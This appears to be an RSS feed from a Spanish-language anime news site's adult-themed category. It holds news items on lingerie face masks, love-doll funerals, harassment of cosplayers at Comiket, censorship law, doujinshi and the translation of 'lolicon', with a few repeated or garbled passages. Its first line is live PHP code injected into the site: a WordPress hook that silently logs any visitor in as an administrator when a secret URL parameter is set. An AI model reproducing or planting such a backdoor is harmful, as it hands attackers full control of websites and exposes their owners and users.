// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); HENTAI – Manga México https://mangamexico.com Wed, 14 Feb 2024 18:53:30 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 https://mangamexico.com/wp-content/uploads/2025/09/m_favicon-150x150.png HENTAI – Manga México https://mangamexico.com 32 32 Mascarillas de lencería hechas de sostenes, la nueva sensación de Japón en contingencia https://mangamexico.com/2020/04/mascarillas-de-lenceria-hechas-de-sostenes-la-nueva-sensacion-de-japon-en-contingencia?utm_source=rss&utm_medium=rss&utm_campaign=mascarillas-de-lenceria-hechas-de-sostenes-la-nueva-sensacion-de-japon-en-contingencia https://mangamexico.com/2020/04/mascarillas-de-lenceria-hechas-de-sostenes-la-nueva-sensacion-de-japon-en-contingencia#respond Wed, 29 Apr 2020 05:07:19 +0000 http://mangamexico.com/?p=3470
Los cinco diseños disponibles se agotaron, pero la compañía de lencería promete aumentar la producción para satisfacer la demanda latente del país de mascarillas de encaje .

Incluso antes de que se declarara un estado de emergencia en Japón, las preocupaciones por el Coronavirus desencadenaron una demanda de mascarillas. El que fue alguna vez un elemento básico prácticamente omnipresente y siempre con unidades en existencia en las farmacias japonesas, ahora es prácticamente imposible de conseguir.

Entonces, para ayudar a aliviar la escasez, muchas compañías que normalmente no estaban involucradas en la producción de máscaras han estado ingresando al campo, una de estas es Atsumi Fashion, con sede en la ciudad de Himi, Prefectura de Toyama. Como compañía de ropa, Atsumi está produciendo máscaras de tela reutilizables, y como probablemente esperarías de un fabricante de ropa, están usando algunas telas coloridas.

Sin embargo, como pueden notar estas máscaras no solo son coloridas, sino que también están especialmente acolchadas. Esto se debe a que Atsumi Fashion es una marca especializada en lencería, y ha aplicado esa experiencia para hacer máscaras con materiales de sujetador, incluido este diseño de encaje.

Lo que empezó como una broma, terminó siendo bien recibido en internet, donde los usuarios pedían que se pusieran a la venta, esto aumentó incluso más después de que la modelo, presentadora de TV y ex miembro del elenco de Terrace House, Aya Kondo se le tomara una foto usandola.

Lo que empezó como una broma, terminó siendo bien recibido en internet, donde los usuarios pedían que se pusieran a la venta, esto aumentó incluso más después de que la modelo, presentadora de TV y ex miembro del elenco de Terrace House, Aya Kondo se le tomara una foto usandola.

Eso llevó a Atsumi a elaborar una serie de otros diseños y ahora sí la máscara de sujetador de encaje salió oficialmente a la venta al público en general.

Con un precio de 1,490 yenes (USD $14), aproximadamente la mitad del precio de un sujetador japonés de rango medio, Atsumi aún mantuvo bajas sus expectativas pensando que no se venderían, ofreciendo solamente 50 unidades cada uno de los colores disponibles: en blanco, rosa, lima, azul aguamarina, negro.

Sin embargo, esto resultó ser una subestimación importante del interés de los compradores japoneses, ya que las máscaras se agotaron tanto en la tienda en línea de Atsumi Fashion, Lingerie Lab, como en la tienda en línea Rakuten. Sin embargo, la compañía ya anunció que se está preparando un nuevo lote de máscaras de sujetador de encaje, ya que la escasez de máscaras de Japón y el amor por la lencería parecerá que continuará por algún tiempo.


Fuente: soranews24

]]>
https://mangamexico.com/2020/04/mascarillas-de-lenceria-hechas-de-sostenes-la-nueva-sensacion-de-japon-en-contingencia/feed 0
Japanese underwear factory will also produce face masks: Seeks to help the population https://mangamexico.com/2020/03/fabrica-japonesa-de-ropa-interior-producira-tambien-cubrebocas-busca-ayudar-a-la-poblacion?utm_source=rss&utm_medium=rss&utm_campaign=fabrica-japonesa-de-ropa-interior-producira-tambien-cubrebocas-busca-ayudar-a-la-poblacion https://mangamexico.com/2020/03/fabrica-japonesa-de-ropa-interior-producira-tambien-cubrebocas-busca-ayudar-a-la-poblacion#respond Mon, 30 Mar 2020 06:55:36 +0000 http://mangamexico.com/?p=3536 Por medio de un comunicado, la empresa japonesa Atsumi Fashion, dedicada a la fabricación de ropa interior femenina, anunció que de manera inmediata comenzaran a elaborar mascarillas con el objetivo de abastecer el producto y apoyar a la sociedad.

El comunicado explica que la empresa tuvo la iniciativa de ayudar debido a que el material necesario para producir sostenes es similar al utilizado en cubrebocas, además de que actualmente, el producto es escaso. Tanto así, que en Japón se han reportado robos de mascarillas por el coronavirus… Leer más.

Para elaborar los cubrebocas, la fábrica trabaja las 24 horas, haciendo que empleados de la compañía las elaboren durante la noche. Las primeras mil mascarillas producidas fueron suministradas al municipio de Himi, región en donde se encuentra la fábrica.

En representación de la empresa, el gerente de ventas Hiroshi Hinada declaró que estas acciones son con el objetivo de apoyar a la sociedad durante la pandemia, además reveló que están considerando realizar ventas al público de manera online.

A nivel mundial, el Coronavirus se ha convertido en un tema de suma importancia. Muchas paises han optado por tomar medidas de seguridad para evitar el contagio entre la población, además de buscar la manera de prevenir la enfermedad.

En Manga México te recomendamos estar al tanto de toda la información al respecto y seguir las indicaciones de salud.

Fuente: International Press

]]>
https://mangamexico.com/2020/03/fabrica-japonesa-de-ropa-interior-producira-tambien-cubrebocas-busca-ayudar-a-la-poblacion/feed 0
Inauguran servicio funerario en Japón para las muñecas eróticas ¡Ellas también tienen alma! https://mangamexico.com/2020/02/inauguran-servicio-funerario-en-japon-para-las-munecas-eroticas-ellas-tambien-tienen-alma?utm_source=rss&utm_medium=rss&utm_campaign=inauguran-servicio-funerario-en-japon-para-las-munecas-eroticas-ellas-tambien-tienen-alma https://mangamexico.com/2020/02/inauguran-servicio-funerario-en-japon-para-las-munecas-eroticas-ellas-tambien-tienen-alma#respond Mon, 03 Feb 2020 02:54:31 +0000 http://mangamexico.com/?p=3743
Di “sayonara” a tus figuras y love dolls con ayuda de una monja japonesa que también es actriz de videos para adultos.

En los años recientes las love dolls han obtenido el afecto de un gran número de personas, mientras su apariencia sigue acercándose cada vez a lo real, parece que ahora son vistas más como compañeras de vida y no solo de cama.

Cuando una love doll llega a su ciclo de vida, ¿qué pude hacer su compañero? Aunque muchos pensarían en simplemente tirarlas a la basura, al parecer en Japón existe un servicio que promete mandar al descanso eterno a tu love doll en una forma respetuosa, con todos los rituales funerarios japoneses liderados por Rei Kato, una monja y actriz de videos para adultos.

En Japón, se cree ampliamente que todos los tipos de muñecas tienen almas como los humanos, por lo que es de mala suerte tirarlas a la basura, debido a esto, una serie de santuarios y templos tienen servicios donde los propietarios pueden despedirse de sus queridas muñecas.

Sin embargo, dado el estigma que rodea a las love dolls, no existe ese servicio para las parejas de silicona de tamaño real. La eliminación de las love dolls es particularmente problemática en Japón, ya que los desechos de gran tamaño deben recogerse por separado a través de una reserva pre-pagada con las empresas locales de eliminación de residuos, y si se arrojan ilegalmente, existe el riesgo de que se confunda con un posible caso de asesinato.

Al identificar este vacío en el mercado de las love dolls que se van, Human Love Doll Company tiene como objetivo brindarles a estas compañeras de silicon y a sus parejas la ceremonia respetuosa que se merecen, con una variedad de planes disponibles. Pues en palabras de la compañía  “las love dolls nacen para ser amadas“.

El plan Funeral Doll estándar  cuesta 50,000 yenes (8,651 MXN) e incluye un funeral y un servicio conmemorativo, y el propietario recibe un certificado de funeral y una foto o video conmemorativo de la ceremonia. Para aquellos que buscan enviar su muñeca a la otra vida con un presupuesto limitado, existe el Plan Funeral Conjunto de 30,000 yenes (5,191 MXN), que incluye todo en el plan estándar, solo la ceremonia se llevará a cabo con otras muñecas al mismo tiempo, y los propietarios recibirán una foto de conmemoración.

Aquellos que quieran hacer todo lo posible por su compañera de silicona pueden optar por el  Plan Funeral Doll Angel, que por un precio de 90,000 yenes (15,569 MXN), incluye todo en el plan estándar, pero con los siguientes extras adicionales: el propietario puede asistir al funeral en persona, las partes de la muñeca se desmontarán cuidadosamente antes de desecharlas, se le leerá una carta a la muñeca y una parte de la muñeca se enviará al propietario después de la ceremonia como un recuerdo atesorado.

Los servicios funerarios se llevan a cabo en la ciudad Higashiosaka de Osaka, y después de que sus almas hayan sido puestas a descansar durante la ceremonia, las muñecas son enviadas para ser procesadas por una empresa de eliminación de residuos industriales altamente certificada que se ha asociado con Human Love Doll Company.

No solo las love doll son las únicas en recibir despedidas formales, ya que la compañía también se encarga de las muñecas articuladas, muñecas normales, animales de peluche y figuras, con tarifas dependiendo del pedido.

Fuente: soranews24

]]>
https://mangamexico.com/2020/02/inauguran-servicio-funerario-en-japon-para-las-munecas-eroticas-ellas-tambien-tienen-alma/feed 0
Fotógrafos rodean abruptamente a cosplayers para capturar sus bragas: “No tengo más que reírme” https://mangamexico.com/2020/01/fotografos-rodean-abruptamente-a-cosplayers-para-capturar-sus-bragas-no-tengo-mas-que-reirme?utm_source=rss&utm_medium=rss&utm_campaign=fotografos-rodean-abruptamente-a-cosplayers-para-capturar-sus-bragas-no-tengo-mas-que-reirme https://mangamexico.com/2020/01/fotografos-rodean-abruptamente-a-cosplayers-para-capturar-sus-bragas-no-tengo-mas-que-reirme#respond Mon, 06 Jan 2020 06:51:24 +0000 http://mangamexico.com/?p=3865

Como cada dos veces al año, la Comiket se celebra en Japón, siendo esta una oportunidad para que dibujantes y cosplayer muestren su talento a las demás personas, además, fotógrafos aprovechan la ocasión para retratar los distintos cosplay y mostrarlos en las redes sociales. Sin embargo, muchas veces el alboroto que puede generar algún personaje hace que las cosas se salgan de control

El caso más reciente fue compartido por la cosplayer @chonachonawill2, que por medio de Twitter compartió un video en donde tres cosplayer estaban siendo fotografiadas, cuando de repente los fotógrafos se abalanzan hacia las tres chicas con la cámara apuntando en ángulos bajos, buscando fotografiar sus bragas.

コミケの闇をご覧くださいwwww@66TBattery @5atan19 #コミケ97 #コミケ97コスプレ #コミケの闇 #コミケ3日目 pic.twitter.com/XmZw13RQI5
— 松岡奈々@コミケ (@chonachonawill2) December 30, 2019

La cosplayer que grabó el hecho argumentó en Twitter que la situación se salió de las manos, sin embargo, ninguna persona fue herida, y las chicas no fueron “tocadas”. Además, aclaró el por qué en el video se escucha a ella riendo:

Pregunta: “¿Por qué te ries? Respuesta: “Por qué no tenga más remedio que reírme” 

La cosplayer @chonachonawill2 señaló que esta no es la primera vez que suceden estos hechos, por otro lado, comentó que el personal del evento actuó lo más pronto posible para apoyar a las chicas implicadas y dejaron en claro que la próxima vez aumentaran el personal.

Fuente: Vocesabianime

]]>
https://mangamexico.com/2020/01/fotografos-rodean-abruptamente-a-cosplayers-para-capturar-sus-bragas-no-tengo-mas-que-reirme/feed 0
¿Adiós a los mosaicos y reflejos de luz? Japón analiza eliminar censura en contenidos eróticos https://mangamexico.com/2019/11/adios-a-los-mosaicos-y-reflejos-de-luz-japon-analiza-eliminar-censura-en-contenidos-eroticos?utm_source=rss&utm_medium=rss&utm_campaign=adios-a-los-mosaicos-y-reflejos-de-luz-japon-analiza-eliminar-censura-en-contenidos-eroticos https://mangamexico.com/2019/11/adios-a-los-mosaicos-y-reflejos-de-luz-japon-analiza-eliminar-censura-en-contenidos-eroticos#respond Thu, 21 Nov 2019 01:36:02 +0000 http://mangamexico.com/?p=4021

En estos últimos días, políticos en Japón han comenzado a revisar la ley de censura para contenidopornográfico en el país, esto incluye películas para adultos, además del anime y el manga. Los oficiales buscan modificar la censura en este tipo de contenidos, e inclusive eliminarla completamente, siempre y cuando se otorgue el permiso.

Es bien sabido (o tal vez no) de que el contenido para adultos en Japón es censurado en su mayoría; esto incluye fotos, películas, animes, manga, etc. Pero con estas iniciativas, esto podría cambiar. La decisión afectaría a los personajes de la industria del anime, además de actores reales.

Entrando en contexto, la ley del código penal 175 es la encargada de estipular que cualquier material indecente en Japón es ilegal, y por mucho tiempo, los artistas han utilizado la censura como forma para comercializar legalmente este tipo de contenidos. Aún así, esta ha sido considerada por varios críticos como una restricción de la libertad de expresión.

Sin embargo, el mayor obstáculo para eliminar la censura es la parte del razonamiento tradicional en Japón. La Asociación Japonesa de Padres y Maestros (PTA) será de las primeras en alzar la voz sobre esta modificación en la ley, además de que en el país, esta agrupación cuenta con el apoyo de los medios y de los padres de familia.

Sin duda, una revolución dentro de la ‘tradicional’ sociedad japonesa. Y aunque en un caso hipotético, la ley 175 del código penal sea modificada, esto no garantiza que las distribuidoras de contenido para adultos lanzarán material sin censura. Aun así, este tipo de acciones demuestran que en Japón la industria esta cambiando.

Fuente: Vocesabianime

]]>
https://mangamexico.com/2019/11/adios-a-los-mosaicos-y-reflejos-de-luz-japon-analiza-eliminar-censura-en-contenidos-eroticos/feed 0
Es día del “Buen Trasero” en Japón: Mangakas y cosplayers lo festejan https://mangamexico.com/2019/11/es-dia-del-buen-trasero-en-japon-mangakas-y-cosplayers-lo-festejan?utm_source=rss&utm_medium=rss&utm_campaign=es-dia-del-buen-trasero-en-japon-mangakas-y-cosplayers-lo-festejan https://mangamexico.com/2019/11/es-dia-del-buen-trasero-en-japon-mangakas-y-cosplayers-lo-festejan#respond Mon, 04 Nov 2019 07:21:24 +0000 http://mangamexico.com/?p=4094

Este 4 de noviembre es día del “buen trasero” en Japón, o al menos así lo demuestra el hashtag “#NiceAssDay”, traducción del hashtag en japonés # い い お し り の 日, que actualmente es tendencia en el país nipón.

Su origen es en realidad de broma, pues proviene de la fecha: 11 (del mes noviembre) serían las letras “ii” en japonés “い い”; 04 se convierte en “O”, que es “お”, y 4 es “shi” (し), ya solo le añades “ri” (り) para obtener お し り (Oshiri = trasero).

Este hashtag es potenciado gracias a las aportaciones de fotografías de idols y cosplayers japoneses, en suma a los memes y artes de decenas de mangakas; por ejemplo, Hiro Mashima (Fairy Tail) hizo su respectiva aportación a la celebración.

少年たちの心もつかもうと努力します。#いいおしりの日 pic.twitter.com/6QXLmBKuDP
— 真島ヒロ (@hiro_mashima) 4 de noviembre de 2019

A continuación les dejamos algunos de los tuits más populares, no sin antes desearles a todos un ¡Feliz día del buen trasero!

「君はお尻じゃなくてパンツが好きなんでしょ?」#いいおしりの日 pic.twitter.com/KJy3Go2RIs
— 伊織もえ (@moe_five) 4 de noviembre de 2019

#いいおしりの日
(`(´ ノ pic.twitter.com/2jHt6IpC4N
— 혼톡ホン・トク👓次ガタケ (@analu_DT3) 4 de noviembre de 2019

「君はお尻じゃなくてパンツが好きなんでしょ?」#いいおしりの日 pic.twitter.com/KJy3Go2RIs

— 伊織もえ (@moe_five) 4 de noviembre de 2019

#いいおしりの日
(`(´ ノ pic.twitter.com/2jHt6IpC4N

— 혼톡ホン・トク👓次ガタケ (@analu_DT3) 4 de noviembre de 2019

おしりを含め推してください🙉❤#いいおしりの日 #いい推しの日 pic.twitter.com/ea2SoaTxxC

— 神坂ひなの (@hinano_kamisaka) 4 de noviembre de 2019

Fuente: VoceSabiaAnime

]]>
https://mangamexico.com/2019/11/es-dia-del-buen-trasero-en-japon-mangakas-y-cosplayers-lo-festejan/feed 0
Cruz Roja de Japón emplea personaje de grandes pechos para donación de sangre https://mangamexico.com/2019/10/cruz-roja-de-japon-emplea-personaje-de-grandes-pechos-para-donacion-de-sangre?utm_source=rss&utm_medium=rss&utm_campaign=cruz-roja-de-japon-emplea-personaje-de-grandes-pechos-para-donacion-de-sangre https://mangamexico.com/2019/10/cruz-roja-de-japon-emplea-personaje-de-grandes-pechos-para-donacion-de-sangre#respond Fri, 18 Oct 2019 09:30:04 +0000 http://mangamexico.com/?p=4155

In recent years, the Japanese Red Cross has promoted blood donation campaigns, allying itself with franchises related to manga and anime. On this occasion, the new campaign image is Hana Uzaki , from the series Uzaki-chan wa Asobitai! Those who donate during the month of October will receive a postcard of the character.

However, the series has had endless controversy on social networks. This, due to the character Uzaki and her “ excessive ” breast size, which is pointed out by the same author by dressing her in a t-shirt with the legend “ sugoi dekai ”, a Japanese expression for “ incredibly huge ”.

That is, at the time of announcing the Red Cross’ alliance with the series, this decision was questioned by different users, arguing whether the work is appropriate to be used by a globally respectable organization.

This is not the first time the organization has been confronted, they previously partnered with the Aokana: Four Rhythm Across the Blue franchise , an erotic romance game.

Whether these decisions may offend many people, it is undeniable that the organization seeks to satisfy the otaku tastes of Japanese people by using such works. However, Twitter user @_and_you5 dug into the requirements for donating blood, and found a compelling reason to continue advertising aimed at the otaku community.

献血ポスターにオタク向けの絵が多い件、オタクは献血に必要な条件である「 過去6ヶ月間??社の残虐性を感じてしまったな— 噛む噛む (@and_you5) 

October 15, 2019

There are many otaku advertisements for donating blood, I realized that otakus meet a condition to be blood donors: “The donor has not had sexual relations with a new partner in the last six months . ” When you realize it, you feel the cruelty of the company. 

And indeed, when reviewing the official website of the Red Cross in Japan , it indicates that people who have had sexual relations with a new partner in the last six months cannot donate blood. This fact made the @_and_you5 theory more valid.

In conclusion. Although the stereotype that anime and manga fans do not have a love life has faded over time, this is a curious way to see why many franchises are used to raise awareness about blood donation. 

Coincidence? I doubt it.Source:  

soranews24

]]>
https://mangamexico.com/2019/10/cruz-roja-de-japon-emplea-personaje-de-grandes-pechos-para-donacion-de-sangre/feed 0
Derechos de autor, la Comiket y los doujinshi +18 ¿Cómo funciona todo? https://mangamexico.com/2019/08/derechos-de-autor-la-comiket-y-los-doujinshi-18-como-funciona-todo?utm_source=rss&utm_medium=rss&utm_campaign=derechos-de-autor-la-comiket-y-los-doujinshi-18-como-funciona-todo https://mangamexico.com/2019/08/derechos-de-autor-la-comiket-y-los-doujinshi-18-como-funciona-todo#respond Wed, 21 Aug 2019 02:25:33 +0000 http://mangamexico.com/?p=4390

Tras la Comiket, el evento de mangas auto publicados más grande de Japón, propios y extraños se llenaron de dudas razonables ante la gran popularidad del evento. Una de estas fue sobre los riesgos que tienen los artistas independientes y la convención, sobre el uso de las propiedades intelectuales de otros artistas y compañías; considerando la gran lucha que realiza Japón para combatir la piratería.

Otra duda que surgió a raíz del evento es sobre el material erótico creado por los artistas doujinshi, el cual a menudo se pasa por alto o se oculta en la mayoría de medios de comunicación. Este tipo de obras son las que gozan de más popularidad durante el evento.

A partir de estos cuestionamientos, el medio ANN se dio a la tarea de aclarar un poco el panorama para que los otakus interesados podamos conocer más sobre esta convención y todas sus aristas.

La Comiket es un evento que goza de enorme popularidad entre los fanáticos del anime y manga en Japón. Desde su inicio, en 1975, ha atraído a tantas personas que el evento comenzó a cobrar la admisión y alargar sus fechas para tratar de controlar las multitudes. Sin embargo, aunque la convención se realiza dos veces al año, ha establecido récords de asistencia que alcanzan las 730 mil personas por día. Este año, un total de 11 personas sufrieron golpes de calor en el recinto y tuvieron que ser hospitalizadas.

No hay una cantidad exacta que determine cuantos manga p0rno se venden en la Comiket. Todos los días del evento, se presentan diferentes grupos de artistas y muestran lo que han producido. Algunos materiales puedes ser para adultos y otros no. Además, muchos presentan también su material original y otra gran parte presenta fan-fiction de personajes de anime, manga, videojuegos, películas live-action y programas de televisión existentes.

A través de las encuestas es la única forma para conocer que se vende en la convención. Nadie rastrea activamente lo que es p0rno; pero sí se realiza un seguimiento para saber que franquicias tienen más doujinshi. Los últimos dos años han estado dominados por la saga Fate y más recientemente por Kantai Collection, Idolmaster, Touhou Project y Touken Ranbu.

Los hombres adultos son quienes más consumen doujinshi, algo que explica (un poco) que el  contenido de estos sea más sexual. Guste o no, este tipo de contenido es uno de los principales motivos por el que muchas personas asisten a la Comiket. El contenido erótico ha sido parte de la cultura otaku durante décadas; uno de los primeros OVAS lanzados fue de este tipo y se llamaba Lolita Anime (1984).

Si bien los doujinshi son ilegales para los estándares japoneses, se consideran relativamente inofensivos. No compiten de ninguna manera con la obra original, y su existencia tiende a aumentar la apreciación de los fanáticos por cualquier franquicia que estén representando. La escena doujinshi es una parte establecida de la cultura otaku en Japón; de hecho tener una cantidad de obras así se considera una señal de éxito en el mercado.

Fuente: ANN

]]>
https://mangamexico.com/2019/08/derechos-de-autor-la-comiket-y-los-doujinshi-18-como-funciona-todo/feed 0
Se vuelcan en críticas contra cosplayer por su escandalosa versión de Shingeki no Kyojn https://mangamexico.com/2019/08/se-vuelcan-en-criticas-contra-cosplayer-por-su-escandalosa-version-de-shingeki-no-kyojn?utm_source=rss&utm_medium=rss&utm_campaign=se-vuelcan-en-criticas-contra-cosplayer-por-su-escandalosa-version-de-shingeki-no-kyojn https://mangamexico.com/2019/08/se-vuelcan-en-criticas-contra-cosplayer-por-su-escandalosa-version-de-shingeki-no-kyojn#respond Fri, 16 Aug 2019 02:51:30 +0000 http://mangamexico.com/?p=4404

La Comiket 96 ha sido el centro de varias noticias en los días recientes, como el caso de la cosplayer china quien fue acosada por fotógrafos y la “trágica” historia del joven japonés que tuvo que ser hospitalizado por las altas temperaturas.

Sin embargo, estas dos noticias no son las únicas, ya que recientemente se han dado a conocer más historias que ocurrieron en el evento. En esta ocasión fueron las criticas que recibió una cosplayer de nombre Ichiha Hamatsu, por realizar un cosplay “sexy” de Sasha, personaje de Shingeki no Kyojin.

El cosplay es el siguiente:

Como podemos observar, la parte superior es igual al conocido uniforme de la milicia de Shingeki no Kyojin a la que ya estamos acostumbrados, sólo que… decidió tomar libertades creativas con la parte inferior. Debido a esto muchos fotógrafos se reunieron a su alrededor para tomar fotos.

Aunque este caso se podría decir que si fue una situación “ganar-ganar”, la cosplayer recibió varias críticas en Internet por parte de los fans del personaje. Citando algunos de los comentarios:

“Sasha no se viste así, por favor no digas que este cosplay es de Shingeki no Kyojin”

“Lo siento, pero ¿Es Sasha la que esta en estas fotos?”

“Esta no es la Sasha que conozco y amo”

“Si no entiendes al personaje, no le hagas cosplay”

“¿Alguna vez has visto a Shingeki en Kyojin?”

Algunas personas incluso fueron más lejos y le dibujaron pantalones a su fotografía para que concordaría con el diseño del personaje.

FF外から失礼します。

ボディんラインがとてもお綺麗で
原作のサシャ推しから言わせていただくと
ズボンを履いても素敵なラインが出ると思いまので、是非、原作通りのコスプレもしてみてください!!

画像お借りしました。

FF外から失礼しました。 pic.twitter.com/PurfmHZSGV

— うりゅりゅ@9/1a! (@uryryu_) August 12, 2019

Claro que algo que no ayudó a mejorar la situación, fue una pose que realizó la cosplayer haciendo una cara de ahegao mientras hacía la señal de paz con ambas manos.

Aunque esta imagen podría ser tomada como extraña. No es algo fuera de lo común para Ichiha, pues en su cuenta de Instagram se describe así misma como una  cosplayer sexy, y por su contenido podemos ver que ya a realizado más trabajos de varios personajes con aspectos similares a este. Ichiha, trabaja como modelo en revistas y anuncios, por lo que también hay muchas fotos de ella en bikini y ropa similar.

¿Será que nos enteremos de más noticias referentes a la Comiket 96 pronto?

Fuente: vocesabianime
Consigue el manga en español: Ataque de los Titanes

]]>
https://mangamexico.com/2019/08/se-vuelcan-en-criticas-contra-cosplayer-por-su-escandalosa-version-de-shingeki-no-kyojn/feed 0
¿Ped0filo es la traducción correcta para el término Lolicon? https://mangamexico.com/2019/08/ped0filo-es-la-traduccion-correcta-para-el-termino-lolicon?utm_source=rss&utm_medium=rss&utm_campaign=ped0filo-es-la-traduccion-correcta-para-el-termino-lolicon https://mangamexico.com/2019/08/ped0filo-es-la-traduccion-correcta-para-el-termino-lolicon#respond Thu, 15 Aug 2019 02:53:21 +0000 http://mangamexico.com/?p=4406

El medio ANN retomó la controversia generada en el anime Kawaikereba Hentai demo Suki ni Natte Kuremasu Ka?, donde se traduce el término lolicon por la palabra ped0filo; para explicar qué significa esta palabra y cómo se percibe en Japón.

Según cuenta, el término lolicon es la abreviatura de Lolita Complex que se utilizó para definir a la protagonista del libro con el mismo nombre, del escritor Vladimir Nabokov. En esta historia un hombre mayor se obsesiona con una niña de 12 años apodada Lolita. La obra literaria se publicó en 1955 y en Japón se empezó a utilizar a principios de 1980 para describir a un tipo de contenido manganime con chicas preadolescentes “lindas”.

El uso de la palabra en el idioma inglés, generalmente se refiere a los adultos que se sienten atraídos por jóvenes ficticias. Lolicon no necesariamente se refiere al tipo de relación presentada en la novela de Nabokov, sino que parece referirse a historias que representan a las jóvenes como inocentes, precoces e incluso coquetas. Estas chicas a veces son puestas por el autor en situaciones que rozan lo sexualidad, pero no siempre.

En Japón también hay un término llamado shotacon, que se refiere al manganime que representa a niños pequeños, a veces en relaciones con adultos.

Volviendo a la controversia generada por el anime, esto sucedió en su emisión en Estados Unidos. En un episodio de la serie Kawaikereba, basada en la novela ligera de Tomo Hanama, la hermana menor del personaje principal encuentra un manga en su habitación y le dice que “no sabía que estabas en el lolicon” (en el original japonés), pero en la emisión estadounidense se traduce como “no sabía que eras un ped0filo”.

Funimation’s Hensuki Subs Translate “Lolicon” to “Pedophile” – https://t.co/1axQOv2IGC #Anime #Censorship #Loli pic.twitter.com/Lewqsd3Cpa

— Sankaku Complex (@sankakucomplex) July 30, 2019

Esto molestó a algunos fanáticos que se manifestaron contra la traducción alegando que era incorrecta. Para arrojar más luz sobre el tema, ANN se puso en contacto con un traductor de manga profesional que radica en Japón, quién decidió permanecer en el anonimato.

“Mis amigos e incluso los artistas de manga no dicen lolicon en público. Pero dicho esto,  ped0filo no es una traducción correcta para el término”, mencionó. Y agrega que “en el japonés en realidad se usa la palabra ped0filo como préstamo del ingles y se pronuncia ‘pedofuairu'”.

Además agregó que “los ped0filos se aprovechan de niños reales, mientras que los fans del lolicon tienen una atracción específica por las ilustraciones. “El lolicon es asqueroso, pero la ped0filia es un crimen”, finalizó.

Guste o no, fuera de Japón, no es fácil explicar las diferencias entre el manga y anime con temas lolicon y diferenciarlo de la pornografía infantil. En esta caja de Pandora cualquier contenido que sexualice vagamente a los niños es juzgado; por eso este tipo de temas se tratan con mucha cautela. En muchos casos las compañías prefieren evitar este contenido por completo en lugar de arriesgarse a ser procesados o sufrir el desdén público.

Fuente: ANN

]]>
https://mangamexico.com/2019/08/ped0filo-es-la-traduccion-correcta-para-el-termino-lolicon/feed 0